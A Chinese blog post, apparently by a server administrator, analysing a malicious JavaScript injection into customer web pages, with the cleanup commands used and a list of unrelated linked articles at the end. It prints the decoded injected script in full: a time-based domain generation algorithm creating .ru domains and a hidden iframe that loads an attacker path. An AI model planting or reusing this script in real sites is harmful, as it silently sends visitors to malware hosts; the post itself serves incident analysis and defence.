高端黑链SEO—恶意JS脚本注入访问伪随机域名

摘要：我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本，导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法，但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，然后定...

我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本，导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法，但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，然后定时访问。看上去目的并非是 SEO。

一、攻击分析

被插入的 javascript 在此——

运维拿到这段代码的时候，都不知道它是要做什么。在这里不得不吐槽一下，为啥我们的运维都不懂代码……我放到 Chrome 里 decode 出来，是这样子的：

functionnextRandomNumber(){varhi=this.seed/this.Q;varlo=this.seed%this.Q;vartest=this.A*lo-this.R*hi;if(test>0){this.seed=test;}else{this.seed=test+this.M;}return(this.seed*this.oneOverM);} functionRandomNumberGenerator(unix){vard=newDate(unix*1000);vars=d.getHours()>12?1:0;this.seed=2345678901+(d.getMonth()*0xFFFFFF)+(d.getDate()*0xFFFF)+(Math.round(s*0xFFF));this.A=48271;this.M=2147483647;this.Q=this.M/this.A;this.R=this.M%this.A;this.oneOverM=1.0/this.M;this.next=nextRandomNumber;returnthis;} functioncreateRandomNumber(r,Min,Max){returnMath.round((Max-Min)*r.next()+Min);} functiongeneratePseudoRandomString(unix,length,zone){varrand=newRandomNumberGenerator(unix);varletters=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];varstr='';for(vari=0;i<length;i++){str+=letters[createRandomNumber(rand,0,letters.length-1)];}returnstr+'.'+zone;}setTimeout(function(){try{if(typeofiframeWasCreated=="undefined"){iframeWasCreated=true;varunix=Math.round(+newDate()/1000);vardomainName=generatePseudoRandomString(unix,16,'ru');ifrm=document.createElement("IFRAME");ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx");ifrm.style.width="0px";ifrm.style.height="0px";ifrm.style.visibility="hidden";document.body.appendChild(ifrm);}}catch(e){}},500);

于是大意可知，它内置了一个随机域名生成函数，有趣的事情。伪随机数发生器基于 unix 时间戳，说它是“伪”随机，是因为这并非真正意义上的随机，我们可以根据时间计算出它所产生的结果。事实上，它最终每 12 个小时就会生成一个类似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 这样的域名。//www.yunsec.net 云安全

这并非有新意的黑客，之前有安全人员对恶意软件下载的分析，攻击者甚至使用了 twitter 消息作为种子来生成域名，这是真正的随机，完全无法预料，也无从预警和封锁。

话说回来，在这段代码开始运作产生访问流量之前，黑客有充足的时间注册和配置域名，并挂上木马链接。毫无疑问的是，如果 2012 真的不是世界末日，我们很容易预知到它即将产生什么域名。于是写段程序检测一下，直至未来的 2012 年 8 月 7 日，有 89 个域名已经注册，WHOIS 显示 DNS 解析服务器在俄国。真正的黑客大国，老毛子名不虚传。

网上搜了一下，很多国外服务商也遇到了这个问题，有人甚至观测到一些服务器端的逻辑，比如根据访问者 IP 进行 302 重定向的机制。

二、安全漏洞

更重要的问题是，恶意 js 代码是怎么注入到我们客户的网页上的呢？

通过查看日志我们发现，捅篓子的是某著名后台管理系统的一个文件上传漏洞，目前厂商已经给出修复方案。他们建议重置所有用户的密码……

三、擦屁股

这苦逼活，又是我的差事。花了一个小时，写了两句话，测试通过。

# check

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*>injeted_list.txt

# clean up

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*|xargssed-i-e’s/\/\*km0ae9gr6m/\n&/g’-e’s/qhk6sa6g1c\ //&\n/g’-e’/km0ae9gr6m*/,/qhk6sa6g1c/d’

参考链接：
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html

高端黑链SEO—恶意JS脚本注入访问伪随机域名的更多相关文章

XSS注入,js脚本注入后台
曾经一度流行sql注入,由于现在技术的更新,已经看不到这问题了,但是又出来新的安全问题,XSS攻击,他的原理就是在前端提交表单的时候,在input标签当中输入js脚本,通过js脚本注入后台,请看下图. ...
XSS攻击 js 脚本注入
原文地址:http://www.cnblogs.com/robot/archive/2009/04/15/1436107.html 1.不要相信Request.QueryString: 相信在asp时 ...
Windows server 2008 IIS7发布asp.net mvc网站css、js脚本无法访问问题解决
今天发布网站遇到一个感到很无语的问题,网站发布成功,浏览网站内容数据显示正常,就是没有样式,试了下脚本也是没有反应,如图效果: 接下来就是一顿苦找原因,检查iis设置.什么应用程序池.文件路径等各种检 ...
java 或者 js 获取项目访问路径（域名）
/** * 获得站点url * @return */ public String getWebUrl(){ String url = getRequest().getScheme() + " ...
C#中在AxWebBrowser控件注入JS脚本的方法
/// <summary> /// 窗体加载 /// </summary> private void JS_Load(object sender, EventArgs e) { ...
Linux内核高端内存转
Linux内核地址映射模型x86 CPU采用了段页式地址映射模型.进程代码中的地址为逻辑地址,经过段页式地址映射后,才真正访问物理内存. 段页式机制如下图. Linux内核地址空间划分通 ...
Linux用户空间与内核空间（理解高端内存）
Linux 操作系统和驱动程序运行在内核空间,应用程序运行在用户空间,两者不能简单地使用指针传递数据,因为Linux使用的虚拟内存机制,用户空间的数据可能被换出,当内核空间使用用户空间指针时,对应的数 ...
linux 用户空间与内核空间——高端内存详解
摘要:Linux 操作系统和驱动程序运行在内核空间,应用程序运行在用户空间,两者不能简单地使用指针传递数据,因为Linux使用的虚拟内存机制,用户空间的数据可能被换出,当内核空间使用用户空间指针时,对 ...
Linux内核高端内存
Linux内核地址映射模型 x86 CPU采用了段页式地址映射模型.进程代码中的地址为逻辑地址,经过段页式地址映射后,才真正访问物理内存. 段页式机制如下图. Linux内核地址空间划分通常32位L ...

随机推荐

MJRefresh下拉刷新框架
github下载地址:https://github.com/CoderMJLee/MJRefresh MJRefresh类结构图 self.userTableView.mj_footer = [MJR ...
python 判断学期与学年
9,10,11,12,1 第一学期 2,3,4,5,6,7 第二学期其中8月份放假,暂且放入第一学期.因为大部分学校都选在8月底开学 import datetime def getXNandXQ() ...
bootstrap的编辑标记 angularjs input 弹出框
.html <div> {{instance.description}} <span class="glyphicon glyphicon-pencil btn-link& ...
[Linux 性能检测工具]TOP
TOP NAME 显示linux任务语法 top -hv | -abcHimMsS -d delay -n iterations -p pid [, pid ...] 描述 top程序提供了系统实时 ...
好用的排名函数~ROW_NUMBER(),RANK(),DENSE_RANK() 三兄弟
排名函数三兄弟,一看名字就知道,都是为了排名而生!但是各自有各自的特色!以下一个例子说明问题!(以下栗子没有使用Partition By 的关键字,整个结果集进行排序) RANK 每个值一个排名,同样 ...
[整]SQL执行顺序
SQL的执行顺序: 第一步:FROM <left_table> <join_type> JOIN <right_table> ON <on_predicate ...
MySQL创建和操作数据库表demo
[1]建立员工档案表要求字段:员工员工编号,员工姓名,性别,工资,email,入职时间,部门. [2]合理选择数据类型及字段修饰符,要求有NOT NULL,auto_increment, primar ...
烂泥：centos单独编译安装gd库
本文由秀依林枫提供友情赞助,首发于烂泥行天下. 这几天一直在弄一个商城系统,该系统的源码及数据库都已经上传并创建完毕.但是在安装该系统时,却提示缺少gd库.如下: 使用php探针查看,发现php确实没 ...
《PHP开发APP接口》笔记
PHP开发APP接口 [TOC] 课程地址 imooc PHP开发APP接口学习要点 APP接口简介封装通信接口方法核心技术 APP接口实例服务器端 -> 数据库|缓存 -> 调用 ...
C语言中不同函数之间怎么传值？
#include <stdio.h> int change(); int change(int j) { j=; return(j); } void main() { int b = ch ...

高端黑链SEO—恶意JS脚本注入访问伪随机域名

高端黑链SEO—恶意JS脚本注入访问伪随机域名的更多相关文章

随机推荐

热门专题